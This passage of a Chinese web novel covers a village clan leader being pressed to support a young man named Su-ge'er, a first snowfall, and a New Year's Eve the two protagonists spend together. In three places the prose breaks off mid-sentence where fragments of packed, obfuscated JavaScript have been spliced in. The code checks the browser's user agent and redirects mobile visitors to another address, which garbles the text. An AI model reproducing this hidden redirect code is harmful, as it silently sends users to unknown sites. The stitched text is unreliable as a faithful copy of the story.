这次秋收，孟氏族中有人家亩产达到3石，张福也听说了。不过也只是顺耳听那么一句，怎么可能有亩产3石之事，不过哗众取宠的伎俩，说出来哄人罢了。孟氏族长孟向贵，他还是知道的，最喜欢搞这些面子上的事情。 不过大家是都庄户人出身，自然懂得田地肥了才会多打粮的道理。所以张福这些日子一直在想秋冬肥田的事情。 有人路过孟家村，见这些时日家家户户都在堆制新肥。有心思活络的，想托关系去探听一二，谁知族中上下口风那个紧，软磨硬泡几次愣是一个字也没抠出来。 算了，故弄玄虚。 求人不如求己，孟氏众人商议着将族中会种田的老把式集结起来，看看在农肥上能有啥好主意。这边正商量着，忽院外一阵马蹄响。 县衙的皂吏！ 官差上门，堂上众人皆是一惊。族中税粮都按时按量缴过了……难道是谁人犯了事？ 众人惶惶不安忙接出，不及迎到门口，那皂吏翻身下马，已一路小跑进了院子，口中喊着：庄公子！庄公子！ 张福心中忐忑，强行堆了满脸笑意迎上去，身子躬了又躬：“不知差爷今日到访有何贵干？在下孟氏之族族长张福。” “庄公子人呢？知县大人有事请教他！” 众人一听，恨不能跪在地上。官本位的社会，知县大人的口谕在这群平头百姓面前，那就是圣旨。听旨当然要跪。 跪不跪的，那皂吏似乎并不理会他们，只一味东看西寻：“庄公子不在么？我刚从孟家村过来，他们说庄公子来你们这里商议事情。他人呢？” 能让知县大人用“请教”二字的，想来这位庄公子一定是个大人物。但大人物怎么找到我们张氏一族来呢。 张福稍稍直起身，满脸疑惑让额头的皱纹更皱了：“不知差爷找哪位庄公子？我们这是张氏一族，并没有什么庄公子。您是不是……记错了人？” “庄聿白庄公子！怎么会记错！”那皂吏有些不耐烦，看来真的是有急事找人。 “……庄聿白？”张福口中重复着这个名字，倒像是在哪里听说过。一时又想不起来，到底在哪里呢？ 方才之人又走到张福近前，从旁小声提醒：“族长，就是刚刚被请出去的那位小哥儿……” 张福一愣，如五雷轰顶，脸都绿了，小声斥责那人：“你怎么不早说！” 那人也委屈：“刚跟您说过了，那位就是孟氏一族的新上首。您，您不信呐。” 张福悄悄摆手让那人退下，重新收拾笑容对官差大人道：“差爷庄公子刚刚离开，您喝盏茶歇息一下，我们立马将人请回来！” 边照顾皂吏情绪，张福边忙着起身走到门前，扬手唤来几个人：“快去！好生将那小哥儿，不，将那位孟氏上首请回来！” 听说庄聿白离开，那皂吏根本等不及，提襟跨步就向外走：“庄公子朝哪个方向去了？” 差爷亲自去追，张福哪还有坐等的道理，忙提鞋整衣跟出来。 皂吏翻身上马，朝庄聿白离开的方向追去。等众人在村口大柳树旁找到在那里歇脚的庄聿白时，皂吏已经策马离开。 张福带着族中耆老一路狂跑过来，眼下束发也散了，衣襟也歪了，异常狼狈。 稳坐族长之位，张福自然知道一些藏污纳垢的手段。一个哥儿能坐上一族上首的位置，至少是他这辈子闻所未闻的奇闻。而且一个哥儿能让县衙皂吏毕恭毕敬、礼待有加，说明这个小哥儿很有些本事，也很有些手腕。 得罪不起。 刚才确实是自己将人赶走的。那么多人看着，抵赖不了的。 张福自觉理亏，按下面子，强行抬起手朝庄聿白拱了拱：“庄公子，误会，都是误会！请随老夫一同回去，有何事，我们慢慢商议。” 庄聿白将方才皂吏带来的知县亲笔所写的信札，郑重其事在手上理了一理，然后才张氏一众族人的注视下，仔细揣进衣襟。 “族长留步，我们就在这里商议吧。”庄聿白也并没因为皂吏到访而拿腔作势，不过也拒绝了张福的建议，拿出那份盖了孟氏一族族印的请帖，“晚辈此次来，是想请族长帮忙将孟家庄炭窑的请帖，亲自教到粟哥儿手上。” 庄聿白脸上带着得体的公关笑容，态度却坚定。“亲自”两个字尤其清晰。 张福一怔。这是在命令老夫？ 若不是看在知县大人和官差的面子上，他张福今日岂能向一个哥儿又是拱手行礼，又是笑脸相应的。这在他看来是真真有失体面、有失身份的屈辱行径。 好在庄聿白是孟氏一族的行首，就当两族之间的正常往来，可让自己一个族长卑躬屈膝去到族中一个哥儿家里，亲手地上请帖……这与当众打他这张老脸有何区别？ 张福是要脸的人。他摆摆手，拒绝了。 或者又觉得拒绝得太不尽人情，略顿了顿，补充道：“我找个族中小辈跑一趟，也是一样的。比老夫亲自过去，还快些。” 庄聿白收起笑容，一字一顿道：“烦请族长亲自交到粟哥儿手上。” 有人察觉出气氛不对，高声质问：“庄聿白，你到底要做什么！这是我们族长，岂容许你在这里指挥安排、任意折辱？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178191|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“送张帖子而已，怎么就折辱了？我是在帮你们族长危机公关、挽回颜面好不好？”庄聿白走到张福跟前，“或许族长还不知道呢吧。因为我孟氏一族要请粟哥儿去帮忙，你们族中之人明里暗里开始给粟哥儿一家使绊子，连族中耕牛、犁具都不让他家借用呢。同族同姓之亲，不加爱护，反而孤立磋磨，这是什么道理？若传出去，不怕影响族长以及张氏一族的颜面吗？” 张福站正，伸手捋着胡子，半日道：“这可是没影子的事。谁会因此事，为难一个哥儿？” 庄聿白笑笑：“没有最好。但人言可畏。不过族长若亲自将这请帖送到粟哥儿手上，表明族中不仅支持粟哥儿帮工一事，还急他家之所难，凡事族中皆愿意帮扶支持。不正好将谣言之火，熄灭在未燃之时么？” 张福也笑笑，不过并没有接庄聿白递过来的请帖。 有人上来帮腔：“什么谣言不谣言的，根本没有的事。若庄公子实在要雇佣那粟哥儿，自己送去也是一样的！” “那行吧！”庄聿白浮夸地叹了口气，将那帖子拿在手中翻来覆去，“看来传言不虚呐！知县大人已着手在做‘琥珀堆肥术’的示范村镇了。我今天来的第二件事就是商议将张氏一族举荐上去，作为基地之一。但因为有这族中不和睦的谣言在，实在担心影响不好，所以好心帮你们策划了这样一个公关举措。谁知你们不领情。嗐！既如此，我家中还有事，先告辞了。 见庄聿白要走，张福忙拦住：“琥珀堆肥术，是什么意思？” “族长还没听说么？就是亩产可达3石的堆肥术哦！族长若不信尽管去孟家村打听，用了琥珀堆肥术的人家，今年秋收增产都在三四成以上哦。不然您以为孟氏祠堂那块知县大人亲手熟悉的匾额随随便便就能拿到么！” 有了知县的背书，加上方才县衙皂吏来访时的恭敬态度，庄聿白的话，张福真真假假听进去七八分，也信了七八分。他用力拈着胡须，开始踱起步子。 有人发现了问题漏洞，质问庄聿白：“这堆肥术示范基地，凭什么你说举荐谁就举荐谁？” 庄聿白狠狠弯起眼睛，露出两颗小虎牙，笑说：“不才还有一个名字——琥珀。琥珀堆肥术的琥珀。” 深秋的阳光，冷冷照下来。 笑容再次挂上张福的脸庞，他冲庄聿白拱拱手：“庄公子雇佣我们族中粟哥儿，这是好事，我这个族长替张家谢过了。” 张福将那帖子接过来，临行又道：“庄公子仁心仁义，堆肥术基地之事就拜托了。这份恩情，我们张氏一族定会记在心上。” “且慢！”庄聿白挠挠鼻头。 “庄公子还有何事？”张福态度中出现了此前没有的谦逊。 庄聿白又笑笑：“今日日落前，我希望粟哥儿能拿到这份帖子。以及刚漏掉一点。虽张氏一族可以列为试验基地，但具体谁家参加，谁家不参加，还需要有个名单。” “明白。”张福应着，“帖子，老朽这就去送。至于名单，我派人拟一份出来，明日送到庄公子手上！” “帖子，有劳了。至于名单……”庄聿白顿了片刻，眼神中人群中扫了一圈，晦涩难懂，让人捉摸不透，“族中事务繁多。名单便由粟哥儿来起草吧。若谁家想参加，三日内去跟粟哥儿那报个名，粟哥儿觉得行，就行。” 话说完，庄聿白便在张氏族人的注视下，理理衣襟，走了。 张氏族人上下算是明白了。庄聿白此行，是来给粟哥儿撑腰的。 后来张氏族人如何求到粟哥儿跟前的，庄聿白没有亲眼看见，不得而知。 想来也是一出又一出的好戏。 不过再热闹的戏，总有恢复平静的时候。新型堆肥术推广一切顺利，冬麦播进田间，很快钻出了绿油油麦苗，将在这个漫长冬季中积蓄能量，等待来年的拔节灌浆。 贞和三年的冬天，似乎比往年来得早一些。 第一片冬雪落上云鹤年斗篷时，西境来信了。 87. 初雪 “孟知彰，下雪了。” 庄聿白抬起手腕，托着窄袖上的雪花，小心翼翼走向正弯腰整理菜园的孟知彰，留意着脚边一堆堆刚收获的菘菜。 是一片六出雪花。冰针洁净、清晰，完美得像一片易碎的梦。 “好看吗？” “好看。”孟知彰凑上来，认真看了几眼，自然地伸手去挑庄聿白发丝上的那片。 不过刚刚碰到，倏忽消失，凉凉地化在孟知彰指腹。 “傻子，怎么能用手呢。”庄聿白一下笑了，又要撩起衣襟下摆去接更多雪花给孟知彰看，却被人拦住了。 “我们今日吃涮锅，有劳琥珀兄将风炉先升起来。”菜园风凉，孟知彰哄人回家。 “好。”庄聿白抬脸笑笑，“那你快点回来。” 牛婶挎着满满一个竹筐，敲响孟知彰家柴门时，风炉上的那罐黄芪枸杞汤正咕嘟咕嘟翻腾着。 “二有从山中打了两只野兔，给你拿一只。这是院子里新晾干的大枣。还有你牛叔新生的豆芽，这次的豆芽好，白白胖胖的我喜欢……” 牛婶一样一样展示给庄聿白看。她穿了件素面窄袖袄子，干净利落。日子顺心，脸上笑容也多起来。 庄聿白听牛二有说，家中在请媒人帮牛大有议亲了。 穷苦人家温饱都成问题的情况下，娶妻生子大都是奢望。牛大有比孟知彰还大一岁。看着牛大有年纪一天大似一天，牛叔牛婶也着急。 眼下多亏了孟知彰和庄聿白才有了这茶炭生意，又加上新型堆肥术田里也能多打粮，日子是越来越有盼头，越过越有底气。此前落下的事情，也可以提上日程、缝缝补补了。 这原本是好事，不过牛婶似乎又平添了新烦恼。 “大有哥忠厚稳重，长得也不错。现在窑炭上的事情里里外外忙着，能担起一半，又能吃苦，想来有不少人家等着来议亲吧。”庄聿白试着宽慰牛婶，将风炉上的黄芪枸杞汤盛了两盏，“对了，有几天没见到大有哥，他一直在窑上忙着？” “他这几日一直在往城中送炭。”牛婶似乎想到什么，叹了半口气，往庄聿白身边凑了凑，压低声音：“婶子跟你打听一下，去府城比赛那个什么周掌柜……就是在咱炭窑上买炭的那个周掌柜，他家是不是有个弟弟？你见过么？” 牛婶说的是缘来茶坊的周青。周青是庄聿白的第一个长期合作大主顾，双方若论交情还是有的，只是仅限生意上的往来。至于对方家中人口几何，有没有弟弟妹妹的，倒并没有太留意。 不过提到府城比赛，庄聿白倒还真想起一个人来。 府城时庄聿白和周掌柜见面都是在摊展，因为行程赶，各自也忙，并没得空坐下叙旧闲聊。后来倒是牛大有去帮了一两天的忙。但那时周掌柜身边总跟着一个眉目清秀的小哥哥，庄聿白还是注意到了。 那小哥儿十八九岁的样子，迎来送往落落大方，性子温和恬静，举止也斯文。庄聿白此前还以为是周掌柜请来的伙计，现在再想，和周青倒有三分神似，八成就是牛婶提到的这位弟弟了。 “打过照面，为人处世都妥帖周全。婶子怎么想起问他？” “随口问问罢了。” 牛婶能听出庄聿白对此人的赞赏，眉间却聚起愁云，想说什么话到嘴边往回咽了咽，强行换了个话题，语气中带着对儿子的埋怨。 “周掌柜家的茶炭，每次都是派茶坊小厮亲自来运的。家中事情本来也多，大有还回回都要跟前。一去大半日不回来，也不明白在城中怎么就这么绊脚。你说说这……” 叮叮叮，庄聿白眼前一亮。八卦的雷达登时响了。 牛大有一向不修边幅，花钱也谨慎。府城回来时，除了给家中采买的东西，竟还偷偷买了一只香囊，藏着掖着的。庄聿白软磨硬泡的几次都没能看上一眼。 今日一想，这不就对上了嘛。肯定有情况。 “人家是城中的公子哥儿，咱们是泥地炭灰里刨食的。有些心思，根本就不该动！”牛婶止不住叹气，“我这些时日正托媒人呢帮忙看着，不管美丑，只要性情好，俩人合得来就行。” 庄聿白正想帮牛大有分辩几句，却听牛婶又道：“嗐，不说他了。提他我就来气。你和知彰怎么样？” 最怕长辈突然的关心。 “我？”庄聿白一愣，不是在说大有么，这“祸水”怎么就引到自己身上来了？话题转换得太快了些。不过面上仍然笑着，“我们……还是老样子，都还好。” 该来的还是会来，躲也躲不掉。就着手中那盏温暖、微甜的黄芪枸杞热饮，牛婶开始了对庄聿白的围攻。 “知道你们忙，忙着生意，忙着读书。但终身大事也要上上心呐。这婚事只差最后这个婚礼了，看什么时候办了，牛婶就放心了。” 庄聿白添了些热饮到牛婶杯子里：“婚礼……不急的。” “怎么能不急呢！”牛婶一脸正经看着庄聿白，“实在不行，你们先把孩子要了。” “……孩子？！”庄聿白心内一慌，手中茶盏险些滑落。他忙稳住，假装无事地喝口茶顺气。怎么又是孩子？上回“无中生孕”一事，现在搞得他都不太敢离孟知彰太近。 “上次让婶子空欢喜一场，还以为你有了。”牛婶叹口气，认为这群孩子没一个让她省心的。又猜想庄聿白是有什么后顾之忧，忙又补充，“虽然知彰娘去了，但你放心，还有婶子在。婶子伺候月子还是有经验的！” “……啊，不行……”庄聿白显然是被这份热情惊到了，慌不择言，脱口而出。 “……不行？什么不行？”牛婶满脸疑惑，凑近，小小声，“你说知彰他……不行？！不能吧！这孩子从小块头大，力气也大，怎么会不行呢！” “……” 孟知彰行不行，他庄聿白真的不是很想知道。可牛婶看样子并不想停止这个对话，还说让牛叔去隔壁镇子上问问那位老中医。 庄聿白脸上的表情已经很热闹了。如果求神有用，他此时尴尬得都想跪下来，求神明将他原地带走。 柴门响动，孟知彰引着刘叔进来。 神，这不就来了么。 牛婶见有客到，忙起身告辞，走到门外又拉着庄聿白袖子悄声嘱托：“你得空了，帮婶子劝下大有……” “婶子劝什么？”庄聿白搬了两颗圆滚滚的菘菜放进牛婶竹篮中。 “啧，这孩子！跟婶子装傻！还有知彰的事，你也好好上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187417|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上心。” 庄聿白回来时刘叔仍站外院中和孟知彰聊些什么。 “刘叔进屋，风炉上热着热饮，您老喝一盏，搪搪雪气。” 雪比方才大了，洋洋洒洒往地上落。 “我就不进屋了。”刘叔看看庄聿白，又看看孟知彰。既焦急，又为难。 孟知彰回屋拿了件厚斗篷与庄聿白披上，三人迎着风雪往山中走去。 “早时来了信差，看到是我家公子的亲笔信，先生激动坏了，等不及进屋，就站在风天冷地中将家书拆了。” 清雪不停沾在刘叔花白的头发上，他脚下不稳，但等不及，带着二人快速往回走。 “一开始先生还开心地同我讲信上内容。说公子和长庚师父一切都好。因为是武举选上去的，公子很快在那边做了个小头领，手下还带着不少人。眼下也没有太要紧的事情，就是正常训练、熟悉地形什么。还说那边肉苁蓉好，等开春了帮忙寄送一些回来。” 刘叔心中急，唠唠叨叨一直说，却一直没说到点子上。 山路难走，孟知彰伸出手臂让庄聿白抓着，将后面关键的话补齐：“看完信，先生就扛着锄头去了葡萄园。一两个时辰了。” “是啊，这都一个多时辰了。我怎么劝都不回来，还不让我跟着……所以我来请两位公子帮着想想办法。” “这会儿去葡萄园？庄聿白略略一惊。 他也顾不得避嫌不避嫌的，一双手牢牢抓上孟知彰的胳膊。胳膊强健有力，走起路来确实稳当不少。 园中葡萄是第一年过冬，庄聿白担心霜冻，施完底肥后，半月前已经请乡邻用土埋起来了。眼下园中根本没什么活计可做。 而且还下着雪。 雪越来越大，似乎要将这世间一切的喜乐和悲欢尽皆掩盖。 三人到达葡萄园时，空寥寥的葡萄架中，一个黑色的背影在雪地上尤为突兀，尤为孤独。 庄聿白与孟知彰对视一眼，缓缓走过去。 “先生，今日我们新得了一只野兔。您上次说炭烤的也好吃。我们带了来，正好趁着这雪天先生教教我们如何烤。” 云鹤年停了手上的锄头，回转身，见是庄聿白二人，笑说：“好哇。不过要稍等我片刻。”又回头看看园中，“下雪了。我来看看葡萄苗土层够不够，若有淘气的，将手手脚脚伸出来，岂不冻坏了。” 儿行千里家中岂能不担忧。虽然信中一片冲淡祥和，可那是西境，是戎狄来犯的第一关。眼下秋尽冬来，食物储备不足的部落也最喜欢在这个时节来犯。 边境如何苦寒，云鹤年看不到。前线如何凶险，云鹤年看不到。 正因为看不到，正因为鞭长莫及，他心中的这根弦才越揪越紧，紧到滴血。 乱雪迷人眼。缠缠绕绕，看不清，理不清。 炭火澄明，小心熨舔无声的伤口。任何宽慰之语，都是苍白无力的，也是不合时宜的。 不久后，孟知彰和庄聿白去府城时，云鹤年并没有相送。或许他早就知道些什么，只让刘叔带了句话。 骆家比面上看到的还要复杂。今后在府城生活总会碰上。将来若遇到什么为难之事，事关骆家的，大可以来找他云鹤年。 88. 守岁 过了冬至，天光一日短似一日。庄聿白觉得时间越发不够用。 冬至开始，族中祭祖等事情就忙起来了。虽说庄聿白姓庄，是个十足十的外姓，还是个哥儿，但他孟氏上首的位置在，族中话语权就在，族中大小事务都要问问他，听听他的意思。 眼下又到了年关，除了族中事务忙，金玉满堂和茶炭的生意更忙，当然还有二人去府城的“搬家”事宜跟着，庄聿白真切感受到“分身乏术”一词的分量。 这一忙就到了除夕。 孟家村的这个年，到处喜气洋洋，到处希望满溢。天刚擦黑，远远近近的鞭炮声就响个不停。 今年有几处生意帮衬着，族中乡邻收入较往年多了不少。而且田地都用力新型堆肥，即便没有亩产三石，至少明年增产已成事实。钱袋子鼓了，日子宽裕了，这年才过得更舒心。 庄聿白和孟知彰约好，今晚一同守岁。孟知彰答应了。 午后开始，两人便一起张罗年夜饭，算上果品，有满满一桌，自然也有饺子。 过年逃不过的一个词，就是团圆。但眼前这两个人，一个父母皆亡，一个独自穿越，怎么都和这个词不搭边。 每年除夕，庄聿白都会守在旁边看外婆包饺子。外婆的笑永远那么温暖，稍不留意外婆还会用沾了面粉的手，给小庄聿白点个白白的小鼻头。 看着面前这盘饺子，庄聿白暗自笑笑，眼神中的委屈和落寞，随着村子上空的一阵阵鞭炮生也越发明显。 庄聿白想家了。淡淡的伤感中竟带出委屈的情绪。 成年人的世界，伪装是门必修课。要时刻装作很强大，装作自己无所不能。但那看似强大外表之下，说不定也藏着一颗千疮百孔、一颗柔软敏感的心。 当然这颗心只有在最亲近之人面前，才会展露一二。才会放任自己流露出委屈和软弱的一面。因为潜意识告诉自己，即便有风霜刀剑，眼前人也会帮自己挡去。 见庄聿白坐在桌前许久未动，孟知彰用公筷将鱼鳃下那块肉夹下来，眼神柔和地看着庄聿白：“试试这鱼炖煮得怎么样。” 庄聿白礼貌地挤出笑意，他还是有一点难过，以及此时此刻竟然不想再装坚强。谁又能永远强大，永远坚不可摧呢。他庄聿白可以在过年时放纵一会，享有一次保持脆弱的权力么。 委屈难过的时候，外婆总会过来抱抱自己。很神奇，抱一抱，坏情绪都会消散，整个人也能充满力量。 庄聿白想外婆了，想家，想念那个温暖的怀抱，以及怀抱中的安全、安定、安心。 “怎么不吃，再不吃要凉了？”孟知彰褪去外人面前的严肃持重，语调柔和，哄小孩子一样，“难不成要我喂你？” 庄聿白的心，像被轻轻撞了一下。鼻头微酸，一双水漉漉的眼睛，定定看着孟知彰。 “来，张口。”孟知彰轻柔地摇摇头，弯着唇角，将那一筷仔细挑拣去鱼刺的肉送到庄聿白嘴边。 睫毛闪动，庄聿白听话地张了口。 “孟知彰……” 鱼肉酥嫩，入口即化，奈何鼻腔酸楚更甚，将鱼味整个盖住。 “嗯？”孟知彰微微俯身，视线对上庄聿白的眼睛，带着探究，“不好吃？” 除夕要守岁，家中今晚多点了几盏灯，映得孟知彰的眼神越发澄明。 “孟知彰，我可以抱抱你吗？” 声音轻得像是自言自语，诚恳中又带着迟疑。担心被误解自己痴心妄想的难为情，担心被拒绝的不自信。 原本正身对着自己的孟知彰，将身子缓缓扭转过去。看着身旁只留一个高大宽厚的背影，庄聿白的心倏忽沉下去。 胸中那股孤寂、酸楚翻涌上来，灭顶般将他整个淹没。庄聿白垂着睫羽，眼睛里一点光也没了。 没关系。人与人之间的悲喜，并不相通。 而且自己的这个要求，确实也有些过了，尤其对人前向来疏离矜持的孟知彰而言。 方才夹鱼喂自己的筷子，齐齐放在桌上。 晃动的灯光，沉默无言。 这份沉默让庄聿白越发无力。是自己唐突了。拥抱这种事，对孟知彰而言，确实算是一种极大的冒犯。 忧伤，让人疲惫，自责尤甚。 庄聿白觉得自己像断电的人偶，浑身无力，马上连椅子也坐不住。甚至呼吸也开始困难。 此时的庄聿白开始不知所措。或许他该告罪离席，或许他该为刚才的唐突道歉。 他深吸半口气，强行给自己攒了些力气，正想开口，却见孟知彰调整姿势转了过来，缓缓张开双臂。 “过来。” 庄聿白愣了一下。 庄聿白终于明白过来。他耗尽最后的力气，迎了上去。 孟知彰的胸膛很宽，怀抱很暖。完全打开，等庄聿白进入后，又从后合拢抱住。宽厚的手掌还轻轻护住庄聿白的后脑和后颈。 完全包裹的拥抱。让人贪恋，让人沉溺。 庄聿白的心，一下安定下来。 庄聿白不清楚，在合理的社交礼仪允许范围内，可以拥抱多久。 胸膛内的心跳紧实有力，一下一下敲在庄聿白的耳畔。 以及……可以再抱紧一些吗？ “孟知彰”，不知多了多久，庄聿白将脸从怀中蹭出来，微微抬头，看着孟知彰坚毅的下颌线。 “嗯。”对方应了一声。 “我有没有很厉害？” “厉害的。”几乎不假思索。 “敷衍。”嘴上这样讲，庄聿白心中却是高兴的，“哪里厉害，你说说，我听听。” “哪里都厉害。”下巴轻轻抵着圆圆的琥珀色头顶。 这怎么听都像一句哄人的话，孟知彰却是认真的。 外表瘦削不迎风的一个人，裹在怀中，更是小小一只。骨子里却有股顽强的倔劲，和藏不住的勃勃生机。 “我不信。”庄聿白眼睫毛蹭到衣襟，他故意又眨了两下，“我的字，难道也厉害？” “自然。”孟知彰语气如常，但很认真，“家中能有今日，不全是你一笔一划写出来的？” 这句话，夸到了点子上。 怀中人一下来了劲头，猛地撑起身来看向孟知彰，笑得见牙不见眼。如果是只小猫，估计尾巴已经翘成天线了。 “是呢！孟知彰，你知道家中攒了多少钱么？”小猫有意邀功。 “多少？”有人积极配合。 充电后的庄聿白，来了精神。他从孟知彰怀中爬出来，起身走到床边，将里侧的钱袋子抱了来。 府城赴试一趟，此前家中攒的十几两银子所剩无几。好在斗茶清会上兰花炭一举成名，加上院试榜首、茶魁身份加持，以及中秋冬至春季等几个重要几日跟着，茶炭生意和金玉满堂生意近乎井喷，家中银钱也一天多似一天。 茶炭生意如何，粟哥儿很有发言权。他跟着庄聿白学记账，每日窑上进出费用都要跟着核实一遍。其实日常费用已经远超粟哥儿预料，年底盘点时，数字一出，更是惊得话都说不出，只一味看着数字高兴点头，最后不知为何，竟还将不知几时挂在眼角的泪珠偷偷抹掉。 若说货郎张家给了他第二次生命，在粟哥儿看来，庄聿白就是他此生最大的贵人。粟哥儿原本以为所剩余生能在家中平安相夫教子已算上苍护佑，谁知庄聿白竟给他提供了另外一种可能。将一条他想都不敢奢想的路，平坦坦铺在了他面前。 让贫瘠石缝中的一束野兰，得以认真开花，得拥一方天地。 庄聿白打开钱袋，掏出其中密密麻麻写满进出明细的纸头，就着光摊在孟知彰面前。 茶炭进账每月小五十两，按照此前约定，这4个多月来原应给到庄聿白的分红是64两。但除去近来开窑拓址的费用、乡邻帮工的每月10两、交与族中的每月2两，又加上近来葡萄园桩架等采买、基肥原料采买、葡萄枝叶修整和埋土过冬等帮工费用，以及日常维护等费用，里里外外花出去18两银子。到眼前这个钱袋子里的还有39两。 金玉满堂，货郎张这边日常有6两进账。但订单每月20两左右，年关竟然逼近25两，除去虾户及小麦等成本，除去乡邻帮工的每月5两、交与族中的每月1两，盈余36两，比想象中多不少。 此外，就是府城薛家涮锅的分成和魁炭的费用，一共来送了3次，共计75两。 当然，先生束脩及文房笔墨开销、日常生活开销以及迎来送往的各类节礼等，最近几个月花出去28两。 “所以，截止到当下，除了一些散碎铜板，家中银钱共计122两！”庄聿白特意将钱袋子举到孟知彰面前，用力晃了晃。 府试前家中攒够10两银子，已经觉得非常了不得了。府城回来短短几个月竟然到了三位数存款。 不过庄聿白悄悄同来送信的薛家小厮打探过，那小厮说得委婉，但庄聿白还是能听明白，即便这些钱全放进预算，离他们能在府城买一所小房子还差着一大截。好在他们已有住处，加上这些银钱傍身，在府城读书生活暂时应该不成问题。 宽松袖口中细弱的手腕用力捧着钱袋，袋子是重，庄聿白举得有些吃力，但为了炫耀，吃力也值得。 “琥珀兄真棒。”孟知彰很捧场，见对方手腕微抖，忙接了过来。 因为要守岁，庄聿白特意换上宽松舒服的衣衫，头发也散下来。一瀑琥珀色长发松松绾在身后，垂到腰际灯光一照，竟萦绕出一层柔和的光晕。 庄聿白揉着手腕，眼睛里的笑意不减：“孟兄，你在想什么？” 孟知彰确实一时失神。庄聿白唤他，他方如梦方醒。 “我在想一个问题。”孟知彰将钱袋放回庄聿白床头枕旁边，又好整以暇走回来，端坐在自己椅子上。 “什么问题？”庄聿白看着他。 “方才你问，可以抱我吗？”孟知彰顿了顿，眼眸沉下来，“我希望你，今后不再问这类问题。” 庄聿白心中一滞，神情有一些懵。 孟知彰向来体贴周到，虽然也有很多惹人生气的臭毛病，但绝不会当面让人难堪。刚不还好好地说钱的事情吗，正高兴呢，这又怎么了？ 觉得俩男人搂搂抱抱不合适，要为他将来的老婆大人守身如玉？还是说觉得我庄聿白对他动了非分念头？ 好朋友就不能拥抱了？好兄弟就不能贴贴了？ 话说回来，若他觉得这种私底下身体大面积接触的行为，让他难堪……嗐，算了。毕竟他是要娶男人的，自己作为直男这样做，确实有趁人之危之嫌。 庄聿白轻轻点头，眼神中却满是掩饰不过的失落。表面坚强如风，心中早像一只淋湿的小狗。 “这种问题，今后不用问。”孟知彰重申了一遍诉求，语气淡淡，“在我这里，答案永远是——可以。” 庄聿白眼睛仍然垂着，隔了几秒，像是忽然反应过来，抬眸对上孟知彰的视线：“……” 孟知彰没有立刻解释，静静看着他。或许是在等对方自己明白，或者在探究对方此时究竟是什么立场。等庄聿白被盯得马上要移开视线，又缓缓补充说：“或许，这一点可以加进我们的‘关系章则’里。” “……关系章则？” “对。关系章则。”孟知彰慢条斯理道，“家中钱财资产全部你说了算。家中大事小情皆需问过你的意见……至于抱抱我，任何时间任何场景都可以，无需问。” 庄聿白愣愣看着他，一时没明白为何要有这样一个关系章则，以及这个章则下的二人究竟是什么关系，但见孟知彰微微伸开手臂。 “还要再抱一次么？” 充电后的庄聿白，来了精神，肚子也饿了。他再次从孟知彰怀中爬出来，规规矩矩坐回自己板凳上，对着一桌子年夜饭开始了战斗。 肚中有食，八卦之心也翘起了头。庄聿白很想知道牛大有和周堇的进展，不过他最近实在是忙，这个八卦还停留在上次牛婶来向他打听周堇为人的时候。 府城回来后，牛大有肉眼可见地成长，生意场上竟也能有模有样与人斡旋一二。同龄人中，夫夫二人原本最信任牛大有，但若有周堇绊着，想来是不可能随他们去府城发展了。 庄聿白边吃边说。孟知彰则一直往他眼前的碟子里夹菜，看来今天这鱼做的不错，已经吃下大半条，今后可以多做。 “年后我们去了府城，家中的茶炭生意也自不会出差池。有牛叔盯着生产质量，大有哥照看着生意往来，”庄聿白又夹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196231|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一块剔了刺的鱼，“二有年后也去读书识字了，虽说他最喜欢在后山抓野兔、捕獐子，坐到书桌前估计会难受一阵子，但灌点墨水在肚子里总归是好的。粟哥儿跟着我这几个月，账目已经问题不大，窑上众人都清楚他的为人，都会多加照拂。张氏族人那边至少眼下没敢再为难他们家。这就很好。” 棘手的是葡萄园，第二年可以挂果丰收酿酒了。春节开始修整枝条，预防虫害，灌溉施肥一系列动作都要跟上。接着春夏剪枝，果串养护，在后面收果之后就是批量的葡萄酒酿制。开春后的动作，庄聿白已经细细记下来交给云先生。等府城安顿下来，还是要不时回家照料着。 年夜饭撤去，两人就着风炉里的百果甜汤，一边闲话，一边守岁。 两个人的团圆，怎么不算团圆？ 曾几何时庄聿白也是个熬夜小能手，或许近来太累，不知什么时候竟和衣而卧睡了过去。等他醒来时，只听院子里闹嚷嚷一片。 是来拜年的小孩子！ 庄聿白忙披了件大氅从屋内跳出来。满目洁白，迎面寒气舒爽清新。昨晚下了一场雪。 开年降瑞雪，好兆头。 小孩子见庄聿白出来，忙围上来，倒地便磕头，争先恐后喊着：“上首哥哥新年好！”“琥珀哥哥新年好！”“祝上首哥哥早生贵子！” 庄聿白知道因为上首的身份，家长特意嘱咐小孩子们见了面要磕头，可自己还年轻，哪承受得起，忙将氅衣里的红包拿出来：“追上我，就有红包哦！” 